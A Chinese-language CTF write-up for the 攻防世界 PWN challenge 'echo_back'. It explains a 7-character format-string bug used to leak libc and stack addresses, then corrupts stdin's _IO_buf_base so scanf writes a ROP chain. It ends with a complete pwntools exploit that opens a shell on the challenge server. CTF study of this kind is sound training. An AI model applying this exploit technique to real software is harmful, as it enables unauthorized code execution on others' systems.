攻防世界PWN之echo_back题解

echo_back

首先,检查一下程序的保护机制,发现保护全开

攻防世界PWN之echo_back题解

然后,我们用IDA分析一下,

在功能2有一个明显的格式化输出字符串漏洞

攻防世界PWN之echo_back题解

但是,我们能够输入的字符串长度最多为7个字符

攻防世界PWN之echo_back题解

 

好啦,不管怎么说,首先得用这个漏洞泄露一些地址

当我们要执行printf时,我们发现,距离当前栈顶13个位置处,有__libc_start_main+F0的地址,但是,这不是说要输出它的值就用%13$p,我们得13开始,不断加1,测试,最终我们得到了这个数据的位置为%19$p,于是,我们就可以泄露__libc_start_main+F0的地址了,然后就能计算出libc的加载地址

攻防世界PWN之echo_back题解

于是,我们就先泄露它,算出一些需要用到的地址

  1. echoback('%19$p')  
  2. sh.recvuntil('0x')  
  3. #泄露__libc_start_main的地址  
  4. __libc_start_main = int(sh.recvuntil('-').split('-')[0],16) - 0xF0  
  5. #得到libc加载的基地址  
  6. libc_base = __libc_start_main - libc.sym['__libc_start_main']  
  7. system_addr = libc_base + libc.sym['system']  
  8. binsh_addr = libc_base + libc.search('/bin/sh').next()  

同理,我们泄露出main的地址,计算出程序的加载地址以及pop rdi的地址,用于给system传参

  1. #泄露main的地址  
  2. echoback('%13$p')  
  3. sh.recvuntil('0x')  
  4. main_addr = int(sh.recvuntil('-').split('-')[0],16) - 0x9C  
  5. elf_base = main_addr - main_s_addr  
  6. pop_rdi = elf_base + pop_s_rdi  

接下来,我们直接想到,用格式化字符串漏洞修改main函数的返回地址,也就是修改%19$p处的数据

攻防世界PWN之echo_back题解

但是,我们知道,%19$n不可行,因为%19$n是把%19$p的数据当成一个地址,然后往那个地址里写数据,也就是说,它会把如图0x7F8854AD7830当成一个地址,往这个地址里写数据,而我们希望的是它往如图0x7FFDCBDF94A8地址处写数据,那么,我们首先得暴露出它的值,但是,栈里面也没有这个数据啊。然而,却main函数的rbp数据

攻防世界PWN之echo_back题解

我们只需泄露main的rbp的值,然后加8就得到了存放(main函数返回地址)的位置

  1. echoback('%12$p')  
  2. sh.recvuntil('0x')  
  3. #泄露mainebp的值  
  4. main_ebp = int(sh.recvuntil('-').split('-')[0],16)  
  5. #泄露存放(main返回地址)的地址  
  6. main_ret = main_ebp + 0x8  

接下来,我们想构造payload,往main_ret处写数据,但是光一个p64(main_ret)包装就占了8个字符,而我们最多允许输入7个字符。这些,我们想到了功能1,setName,它不是白放那里的,它有着重要的作用。

攻防世界PWN之echo_back题解

它也可以接受7个字符,我们可以把main_ret存入a1中,虽然只允许7个字符,p64()8字节,但是末尾一般都是0,由于是低位存储,也就是数据的前导0被舍弃,没有影响,除非那个数据8字节没有前导0

然后,我们发现,%16$p输出的就是a1的数据。

 

于是,我们就可以setName(p64(addr)),然后利用%16$n来对addr处写数据

然而,我们这样来直接写main_ret处的数据,还是不行,因为我们构造的payload始终长度都会大于7

于是,我们就需要用到一个新知识了,为了绕过7个字符的限制,我们换一个思路,我们利用printf漏洞先去攻击scanf内部结构,然后我们就可以直接利用scanf往目标处输入数据,这就需要去了解scanf的源码了。

 

  1. _IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;    
  2. _IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;    
  3. _IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;   

首先,scanf最终是从stdin中读取数据,而stdin是一个FILE (_IO_FILE) 结构体指针。我们再来看看FILE的结构

  1. /* The tag name of this struct is _IO_FILE to preserve historic 
  2.    C++ mangled names for functions taking FILE* arguments. 
  3.    That name should not be used in new code.  */  
  4. struct _IO_FILE  
  5. {  
  6.   int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */  
  7.   
  8.   /* The following pointers correspond to the C++ streambuf protocol. */  
  9.   char *_IO_read_ptr;   /* Current read pointer */  
  10.   char *_IO_read_end;   /* End of get area. */  
  11.   char *_IO_read_base;  /* Start of putback+get area. */  
  12.   char *_IO_write_base; /* Start of put area. */  
  13.   char *_IO_write_ptr;  /* Current put pointer. */  
  14.   char *_IO_write_end;  /* End of put area. */  
  15.   char *_IO_buf_base;   /* Start of reserve area. */  
  16.   char *_IO_buf_end;    /* End of reserve area. */  
  17.   
  18.   /* The following fields are used to support backing up and undo. */  
  19.   char *_IO_save_base; /* Pointer to start of non-current get area. */  
  20.   char *_IO_backup_base;  /* Pointer to first valid character of backup area */  
  21.   char *_IO_save_end; /* Pointer to end of non-current get area. */  
  22.   
  23.   struct _IO_marker *_markers;  
  24.   
  25.   struct _IO_FILE *_chain;  
  26.   
  27.   int _fileno;  
  28.   int _flags2;  
  29.   __off_t _old_offset; /* This used to be _offset but it's too small.  */  
  30.   
  31.   /* 1+column number of pbase(); 0 is unknown. */  
  32.   unsigned short _cur_column;  
  33.   signed char _vtable_offset;  
  34.   char _shortbuf[1];  
  35.   
  36.   _IO_lock_t *_lock;  
  37. #ifdef _IO_USE_OLD_IO_FILE  
  38. };  

 

让我们再看看文件的读取过程_IO_new_file_underflow 这个函数最终调用了_IO_SYSREAD系统调用来读取文件。在这之前,它做了一些处理

  1. int  
  2. _IO_new_file_underflow (FILE *fp)  
  3. {  
  4.   ssize_t count;  
  5.   
  6.   /* C99 requires EOF to be "sticky".  */  
  7.   if (fp->_flags & _IO_EOF_SEEN)  
  8.     return EOF;  
  9.   
  10.   if (fp->_flags & _IO_NO_READS)  
  11.     {  
  12.       fp->_flags |= _IO_ERR_SEEN;  
  13.       __set_errno (EBADF);  
  14.       return EOF;  
  15.     }  
  16.   if (fp->_IO_read_ptr < fp->_IO_read_end)  
  17.     return *(unsigned char *) fp->_IO_read_ptr;  
  18.   
  19.   if (fp->_IO_buf_base == NULL)  
  20.     {  
  21.       /* Maybe we already have a push back pointer.  */  
  22.       if (fp->_IO_save_base != NULL)  
  23.     {  
  24.       free (fp->_IO_save_base);  
  25.       fp->_flags &= ~_IO_IN_BACKUP;  
  26.     }  
  27.       _IO_doallocbuf (fp);  
  28.     }  
  29.   
  30.   /* FIXME This can/should be moved to genops ?? */  
  31.   if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))  
  32.     {  
  33.       /* We used to flush all line-buffered stream.  This really isn't 
  34.      required by any standard.  My recollection is that 
  35.      traditional Unix systems did this for stdout.  stderr better 
  36.      not be line buffered.  So we do just that here 
  37.      explicitly.  --drepper */  
  38.       _IO_acquire_lock (_IO_stdout);  
  39.   
  40.       if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))  
  41.       == (_IO_LINKED | _IO_LINE_BUF))  
  42.     _IO_OVERFLOW (_IO_stdout, EOF);  
  43.   
  44.       _IO_release_lock (_IO_stdout);  
  45.     }  
  46.   
  47.   _IO_switch_to_get_mode (fp);  
  48.   
  49.   /* This is very tricky. We have to adjust those 
  50.      pointers before we call _IO_SYSREAD () since 
  51.      we may longjump () out while waiting for 
  52.      input. Those pointers may be screwed up. H.J. */  
  53.   fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;  
  54.   fp->_IO_read_end = fp->_IO_buf_base;  
  55.   fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end  
  56.     = fp->_IO_buf_base;  
  57.   
  58.   count = _IO_SYSREAD (fp, fp->_IO_buf_base,  
  59.                fp->_IO_buf_end - fp->_IO_buf_base);  
  60.   if (count <= 0)  
  61.     {  
  62.       if (count == 0)  
  63.     fp->_flags |= _IO_EOF_SEEN;  
  64.       else  
  65.     fp->_flags |= _IO_ERR_SEEN, count = 0;  
  66.   }  
  67.   fp->_IO_read_end += count;  
  68.   if (count == 0)  
  69.     {  
  70.       /* If a stream is read to EOF, the calling application may switch active 
  71.      handles.  As a result, our offset cache would no longer be valid, so 
  72.      unset it.  */  
  73.       fp->_offset = _IO_pos_BAD;  
  74.       return EOF;  
  75.     }  
  76.   if (fp->_offset != _IO_pos_BAD)  
  77.     _IO_pos_adjust (fp->_offset, count);  
  78.   return *(unsigned char *) fp->_IO_read_ptr;  
  79. }  

让我们,看看代码的第58行(标红处),系统调用,向fp->_IO_buf_base处写入读取的数据,并且长度为 fp->_IO_buf_end - fp->_IO_buf_base

要是我们能够修改_IO_buf_base_IO_buf_end 那么我们不就可以实现任意位置无限制长度的写数据了吗?

我们首先需要定位到_IO_2_1_stdin_结构体在内存中的位置,然后再定位到_IO_buf_base 的位置,_IO_buf_base位于结构体中的第8个,所以,它的_IO_buf_base_addr = _IO_buf_base + 0x8 * 7

 

  1. _IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']  
  2. _IO_2_1_stdin_addr = libc_base + _IO_2_1_stdin_  
  3. _IO_buf_base = _IO_2_1_stdin_addr + 0x8 * 7  

 

接下来,做什么呢?

我们先来看看_IO_buf_base的值吧

先是stdin的位置,当前位于0x7F9EA22488E0

攻防世界PWN之echo_back题解

然后是_IO_buf_base,它位于0x7F9EA22488E0 + 0x8 * 7 = 0x7F9EA2248918 它的值为0x7F9EA2248963  并且要知道,它的值相对_IO_2_1_stdin_的地址总是不变的,假如我们把_IO_buf_base的低一字节覆盖为0,那么他就变成了0x7F9EA2248900 也就是0x7F9EA22488E0 + 0x8 * 4,跑到了结构体内部去了,也就是结构体中的第5个数据处,也就是_IO_write_base处,并且由于_IO_buf_end没变,那么我们可以从0x7F9EA2248900处向后输入0x64-0x00 = 0x64个字符,那么我们就能把_IO_buf_base和_IO_buf_end都覆盖成关键地址,那么我们就能绕过7个字符的输入限制

_IO_buf_base

攻防世界PWN之echo_back题解

_IO_buf_end

攻防世界PWN之echo_back题解

那么,我们先来覆盖_IO_buf_base的低1字节为0

  1. setName(p64(_IO_buf_base))  
  2. #覆盖_IO_buf_base的低1字节为0  
  3. echoback('%16$hhn')  

接下来,我们就可以覆盖结构体里的一些数据

 

对于_IO_buf_base之前的数据(_IO_write_base_IO_write_ptr_IO_write_end),我们最好原样的放回,不然不知道会出现什么问题,经过调试,发现它们的值都是0x83 + _IO_2_1_stdin_addr,然后接下来,我们覆盖_IO_buf_base_IO_buf_end

于是,我们的payload

  1. payload = p64(0x83 + _IO_2_1_stdin_addr)*3 + p64(main_ret) + p64(main_ret + 0x8 * 3)  
  2. sh.sendlineafter('choice>>','2')  
  3. sh.sendafter('length:',payload)  

我们为什么在length:后面发送payload,因为这个地方用到了scanf

攻防世界PWN之echo_back题解

 

现在,我们得绕过一个判断,这样调用scanf输入数据时,就会往目标处输入数据

攻防世界PWN之echo_back题解

由于之前,我们覆盖结构体数据时,后面执行了这一步,使得fp->_IO_read_end += len(payload)

攻防世界PWN之echo_back题解

getchar()的作用是使fp->_IO_read_ptr1

由于在覆盖结构体后,scanf的后面有一个getchar,执行了一次,因此,我们还需要执行len(payload)-1次getchar(),然后接下来发送我们的rop即可获得shell

 

我们最终的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3. import time  
  4.    
  5. libcpath = '/lib/x86_64-linux-gnu/libc-2.23.so'  
  6. #sh = process('./echo_back')  
  7. sh = remote('111.198.29.45',48430)  
  8. elf = ELF('./echo_back')  
  9. libc = ELF(libcpath)  
  10. #mainelf中的静态地址  
  11. main_s_addr = 0xC6C  
  12. #pop rdi  
  13. #retn  
  14. #elf中的静态地址  
  15. pop_s_rdi = 0xD93  
  16.    
  17. _IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']  
  18.    
  19.    
  20. def echoback(content):  
  21.    sh.sendlineafter('choice>>','2')  
  22.    sh.sendlineafter('length:','7')  
  23.    sh.send(content)  
  24.    
  25. def setName(name):  
  26.    sh.sendlineafter('choice>>','1')  
  27.    sh.sendafter('name:',name)  
  28.    
  29.    
  30.    
  31. echoback('%19$p')  
  32.    
  33. sh.recvuntil('0x')  
  34. #泄露__libc_start_main的地址  
  35. __libc_start_main = int(sh.recvuntil('-').split('-')[0],16) - 0xF0  
  36. #得到libc加载的基地址  
  37. libc_base = __libc_start_main - libc.sym['__libc_start_main']  
  38. system_addr = libc_base + libc.sym['system']  
  39. binsh_addr = libc_base + libc.search('/bin/sh').next()  
  40. _IO_2_1_stdin_addr = libc_base + _IO_2_1_stdin_  
  41. _IO_buf_base = _IO_2_1_stdin_addr + 0x8 * 7  
  42.    
  43. print 'libc_base=',hex(libc_base)  
  44. print 'iobase=',hex(_IO_buf_base)  
  45.    
  46. #泄露main的地址  
  47. echoback('%13$p')  
  48. sh.recvuntil('0x')  
  49. main_addr = int(sh.recvuntil('-').split('-')[0],16) - 0x9C  
  50. elf_base = main_addr - main_s_addr  
  51. pop_rdi = elf_base + pop_s_rdi  
  52. print 'elf base=',hex(pop_rdi)  
  53.    
  54. echoback('%12$p')  
  55. sh.recvuntil('0x')  
  56. #泄露mainebp的值  
  57. main_ebp = int(sh.recvuntil('-').split('-')[0],16)  
  58. #泄露存放(main返回地址)的地址  
  59. main_ret = main_ebp + 0x8  
  60.    
  61. setName(p64(_IO_buf_base))  
  62. #覆盖_IO_buf_base的低1字节为0  
  63. echoback('%16$hhn')  
  64.    
  65. #修改_IO_2_1_stdin_结构体  
  66. payload = p64(0x83 + _IO_2_1_stdin_addr)*3 + p64(main_ret) + p64(main_ret + 0x8 * 3)  
  67. sh.sendlineafter('choice>>','2')  
  68. sh.sendafter('length:',payload)  
  69. sh.sendline('')  
  70. #不断调用getchar()使fp->_IO_read_ptr与使fp->_IO_read_end相等  
  71. for i in range(0,len(payload)-1):  
  72.    sh.sendlineafter('choice>>','2')  
  73.    sh.sendlineafter('length:','')  
  74.    
  75. #对目标写入ROP  
  76. sh.sendlineafter('choice>>','2')  
  77. payload = p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
  78. sh.sendafter('length:',payload)  
  79. #这个换行最好单独发送  
  80. sh.sendline('')  
  81. #getshell  
  82. sh.sendlineafter('choice>>','3')  
  83.    
  84. sh.interactive()